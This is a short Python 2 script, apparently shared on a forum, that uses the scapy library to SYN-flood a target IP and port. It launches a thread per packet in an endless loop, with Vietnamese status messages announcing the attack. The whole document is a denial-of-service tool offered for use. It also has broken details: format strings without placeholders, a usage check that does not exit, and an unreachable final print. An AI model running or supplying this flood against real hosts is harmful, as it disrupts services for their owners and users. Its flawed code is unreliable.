[Code] SYN Flood - Python

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import sys
import threading
import random

if len(sys.argv) != 3:
    print "Usage: <IP> <Port>" % sys.argv[0]

target = sys.argv[1]
port = int(sys.argv[2])

total = 0

class SYNFlood(threading.Thread):
    global target, port
    def __init__(self):
        threading.Thread.__init__(self)

    def run(self):
        i = IP()
        i.dst = target

        t = TCP()
        t.dport = port
        t.sport = random.randint(1, 65535)
        t.flags = 'S'

        send(i/t)

print "Bat dau SYN Flood..." % target

while True:
    s = SYNFlood()
    s.start()
    total += 1

print "[!]Dang tan cong...[!]" %(total, target)